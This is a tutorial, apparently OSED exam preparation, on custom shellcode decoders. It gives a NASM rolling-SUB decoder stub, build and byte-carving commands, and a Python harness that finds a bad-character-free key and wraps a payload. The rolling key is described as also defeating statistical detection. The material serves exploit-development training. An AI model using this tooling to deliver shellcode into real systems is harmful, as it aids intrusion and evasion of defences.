Custom decoder development for OSED-style shellcode

Custom decoder development for OSED-style shellcode

The OSED shellcode question is not “can you write a decoder”, it is “can you write a decoder that fits in the gap your exploit left you, survives the badchar set, and lands the original bytes intact”. Everything below assumes you already pinned the badchars with bad-character-handling and mona-py, generated a clean payload with msfvenom or hand-rolled, and now need to wrap it.

Pick a decoder family from constraints, not taste

The constraint set drives the choice. Read the badchars first, then decide.

  • Single-byte XOR with a fixed key. Smallest decoder, ~15 bytes. Fails when the key or any payload[i] ^ key falls in the badchar set, or when XOR output of a stream collides with \x00 runs that re-trigger the badchar.
  • Multi-byte rotating XOR. Trivially defeats single-byte collisions but the decoder grows by the key length and you need a counter.
  • ADD-with-key (encoded = target - key, decoder does add byte [esi], key). Useful when XOR keeps producing badchars regardless of key. Carries are not your problem because each byte is independent.
  • SUB-key rotating. Same idea but with a rolling key derived from the previous decoded byte. Defeats statistical detection and breaks naive badchar collisions across the stream.
  • ROT then ADD (two-pass). When a single transform cannot find any key that avoids the badchar set across the whole payload, chain two cheap transforms. Encoder searches the small 2D key space; decoder is ~25 bytes.
  • Multi-stage. A tiny first-stage decoder (XOR/ADD) decodes a second-stage decoder that handles the real payload with a stronger scheme. Use only when stage-one alphabet is brutally restricted (alphanumeric-only, printable-ASCII).

OSED-style constraints typically allow you ~32 to 60 bytes of decoder before space becomes painful. Single XOR fits anywhere. Rotating SUB plus a 4-byte key fits in ~30. Two-pass ROT+ADD is the ceiling before you should consider staging via osed-egg-hunter-and-staging-deep.

NASM transcript for a rotating SUB decoder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

; decoder.asm  - 32-bit, position independent via GetPC
BITS 32
global _start
_start:
    call    geteip
geteip:
    pop     esi
    add     esi, payload - geteip
    mov     ecx, payload_len
    mov     bl, 0xAA            ; initial key
decode:
    mov     al, [esi]
    sub     al, bl
    mov     [esi], al
    mov     bl, al              ; rolling key = last decoded byte
    inc     esi
    loop    decode
    jmp     payload
payload:
    db      0xCC, 0xCC, 0xCC    ; placeholder, replaced at build time
payload_len equ $ - payload

Build and carve.

1
2
3
4
5
6

$ nasm -f elf32 decoder.asm -o decoder.o
$ ld -m elf_i386 decoder.o -o decoder.elf
$ objdump -d decoder.elf | grep -E '^[ ]+[0-9a-f]+:' \
    | awk '{$1=""; print}' | head
$ objcopy -O binary -j .text decoder.elf decoder.bin
$ python3 -c "import sys; sys.stdout.write(''.join(f'\\\\x{b:02x}' for b in open('decoder.bin','rb').read()))"

The objcopy to .text only is the trick that gets you a clean byte string without ELF padding. If you forget, you ship 4 KB of zero-page into your exploit and lose your stack alignment.

Python harness that bolts it together

The harness has three jobs: search for a key that avoids badchars, encode the payload, splice it after the decoder stub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

BADCHARS = bytes.fromhex("0009000a000d00")  # null, \t, \n, \r etc.
DECODER  = bytes.fromhex("e8000000005e83c6...")  # carved decoder.bin
TARGET   = open("shellcode.bin","rb").read()

def encode(payload, init_key):
    out, k = bytearray(), init_key
    for b in payload:
        c = (b + k) & 0xff           # inverse of decoder's SUB
        out.append(c)
        k = b                        # rolling key tracks plaintext byte
    return bytes(out)

for key in range(1, 256):
    enc = encode(TARGET, key)
    if not any(c in BADCHARS for c in enc) and key not in BADCHARS:
        break
else:
    raise SystemExit("no clean key, escalate to ROT+ADD")

stub = DECODER.replace(b"\xcc\xcc\xcc", b"")  # strip placeholder
stub = patch_initial_key(stub, key)            # poke bl immediate
stub = patch_length(stub, len(enc))            # poke ecx immediate
open("payload.bin","wb").write(stub + enc)

patch_initial_key and patch_length are two-line helpers that locate the mov bl, imm8 and mov ecx, imm32 opcodes in the stub and overwrite the immediates. Do not hardcode offsets; search for the opcode plus the sentinel value you used in NASM.

OSED-specific size discipline

A few rules that keep the exam version of this from blowing your space budget.

  • Prefer loop over dec ecx; jnz unless ECX is contested.
  • Use call/pop GetPC, not FSTENV. FSTENV is 28 bytes of side effects you do not need.
  • Avoid xor eax, eax; mov al, ... when push imm8; pop eax is shorter.
  • Never embed the key as a separate string; bake it into the mov immediate.
  • If your decoder exceeds 40 bytes, ask whether a two-stage build via osed-shellcode-encoder-decoder-development is cheaper than fighting the alphabet.

When to escalate

If a single rotating-SUB cannot find a key, jump to ROT-then-ADD before reaching for alphanumeric encoders. If even ROT+ADD fails, the badchar set is pathological and you want a printable-ASCII first stage that reconstructs a fuller decoder in place. At that point the design overlaps with the staging discussion in osed-custom-exploit-walkthrough and you should plan space accordingly rather than improvising at exam time.

Practice the carve, key search, and patch loop until it is muscle memory. The actual exploit primitive is the easy part; the decoder is where time disappears.